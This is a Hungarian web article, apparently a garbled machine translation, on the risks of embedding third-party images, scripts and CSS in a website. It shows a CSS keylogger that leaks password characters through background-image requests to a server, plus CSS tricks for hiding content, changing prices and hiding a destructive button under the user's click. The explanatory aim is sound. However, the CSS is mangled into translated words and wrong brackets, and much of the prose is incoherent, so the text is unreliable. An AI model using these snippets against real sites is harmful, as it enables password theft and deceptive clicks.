Menü
Ingyenes
becsekkolás
a fő  /  Programok / Cikkek terjesztése az interneten. Lehetőségek és jellemzőik

Cikkek elosztása az interneten. Lehetőségek és jellemzőik

Megmondjuk, hogyan károsíthatja webhelyét harmadik féltől származó CSS, JavaScript és egyéb erőforrások használatával más emberek szerverével.

Február végén a hálózat a CSS-t használó keyloggerrel jelent meg. A támadás egyszerű: minden egyes karakterbe bevitt karakter egy adott típusú (például jelszó), egy harmadik fél kérésére keletkezik, állítólag kérjen háttérképet:

bemenet (háttérkép: URL ("http: // localhost: 3000 / a"););)

háttér - kép: URL ("http: // localhost: 3000 / a");

A szerveren a kérelmek sorrendje regisztrálható és könnyen kiszámítható a megadott jelszó.

A probléma megvitatásának folyamatában néhány javasolt gyártók a böngészők javításra kerülnek. Valaki felhívta a figyelmet arra, hogy a probléma csak a reakcióképű keretekre vonatkozó helyszínekre vonatkozik, és áthelyezte a hibáztatást.

Harmadik féltől származó képek

< img src = "https://example.com/kitten.jpg">

Ha hozzáad egy képet az ilyen típusú webhelyen, akkor az example.com-on lesz. Helyettesíthetik Önt különböző utakPéldául egy kép törlése - a kép helyett 404-et kap. És egyszerűen helyettesíthetik a macska képét valami kevésbé kellemesnek.

Figyelmeztetheti a felhasználókat, hogy a képet egy harmadik fél erőforrásból adják hozzá, és nincs kapcsolatuk vele. Tehát egy kicsit biztosítja magát a bajtól. De természetesen, amikor egy egyszerű kép hozzáadásakor nem biztosít hozzáférést a jelszavakhoz.

Harmadik fél szkriptek

Ez a példa sokkal érdekesebb példa.com, mert hozzáad egy szkriptet a webhelyükről, sokkal több irányítást ad a sajátod felett. Ebben az esetben az example.com:

  • Olvassa el / módosítsa az oldal tartalmát.
  • Nyomon követheti az egyes felhasználói műveleteket.
  • Keményen futtassa a kód kiszámításához (például egy cryptomylener).
  • Kérjen cookie-kat.
  • A helyi tárolás olvasása / módosítása.

Más szóval, az example.com most sok dolgot lehet.

A helyi tárolás kölcsönhatása a jövőben még több problémát okoz. A harmadik féltől származó erőforrás még a forgatókönyv eltávolítása után is hozzáférhet a webhelyéhez. Ha harmadik féltől származó szkriptet ad hozzá a webhelyhez, akkor teljesen megbíznia kell a forrás és annak biztonságát.

Ha még mindig rossz forgatókönyvet észlelt, próbálja meg a Clear-site-data fejlécet használni.

CSS oldal.

< link rel = "stylesheet" href = "https://example.com/style.css">

Harmadik féltől származó CSS-kód a webhely hatásáról a kép és a szkript között van. Alien CSS:

  • Tartalom törlése / módosítása / hozzáadása az oldalon.
  • Kéréseket készítsen az oldal tartalmán.
  • Reagáljon számos felhasználói tevékenységre.

CSS nem lesz képes kapcsolatba lépni a helyi tároló és egy cryptomer az oldal nem beágyazni, de lehet, hogy egy csomó kárt a tulajdonos a forrás.

Billentyűzetfigyelő

Kissé módosítja a CSS-t a cikk elejétől:

bemenet (háttérkép: URL ("/ jelszó? A");)

bemenet [típus \u003d "jelszó"] [érték $ \u003d "A"] (

háttér - kép: URL ("/ jelszó? A");

Ez a kód elküldi az adatokat a beírt "A" szimbólumban a kezelőben egy képkérés során. Ismételje meg a kódot az egyes szimbólumokhoz, és itt már van egy CSS keylogger.

Alapértelmezésben böngészők nem tárolja a karaktereket a felhasználó által megadott, a Value tulajdonság, így ez a trükk működik, ha valamit, ami szinkronizálja ezeket az értékeket, például ,.

Természetesen ez a probléma megoldható a reakció oldalán és hasonló kereteken. De akkor csak megoldásra kerül különleges esetÉs a többi probléma marad.

Eltűnő tartalom

test (kijelző: nincs;) html :: után (tartalom: "HTTP Server Server hiba";)

test (

kijelző: Nincs;

html :: Utaster (

tartalom: "HTTP Server Server hiba";

Ez természetesen nagyon különös példa, de még mindig működik. Képzeld el, hogy a felhasználók a webhelyre való belépéskor a szokásos helyett láthatók főoldal érthetetlen hiba. Ugyanúgy, mint például a harmadik fél kódja törölheti például a "Vásároljon" gombot, vagy néhány bajt okozhat.

Tartalom hozzáadása

Ár-érték :: korábban (tartalom: "1";)

Ár - Érték :: korábban (

tartalom: "1";

És így csak az árak emelkedtek.

Tartalomutazás

Törlés-minden gomb (opacitás: 0, pozíció: abszolút; Top: 500px, bal: 300px;)

Törlés - mindent - gomb (

opacity: 0;

pozíció: abszolút;

top: 500px;

bal: 300px;

Vegyünk egy gombot, ami valami szörnyűvé teszi, és hogy a felhasználó csak nem nyomja meg, átlátszóvá teszi és helyezze el a helyet, ahol a felhasználónak kattintani kell.

Természetesen, ha a gomb nagyon fontos, a felhasználó először figyelmeztető párbeszédet lát. De ez nem probléma: csak több CSS-re van szükség. Például megváltoztathatja a "Ó, az Úr, No!" Gomb tartalmát, "természetesen, biztos vagyok benne."

Képzeld el, hogy a böngésző gyártói korrigálták a trükköt a keyloggerrel. A támadók egyszerűen egy felesleges szövegmezőt helyeztek el a jelszó típusú fontos mező tetején, és újra elfoglaltak.

Olvasási attribútumok

Az érték és egyéb attribútumok, a jelszavak nem feltétlenül tárolódnak: egy támadó találhat valami érdekeset.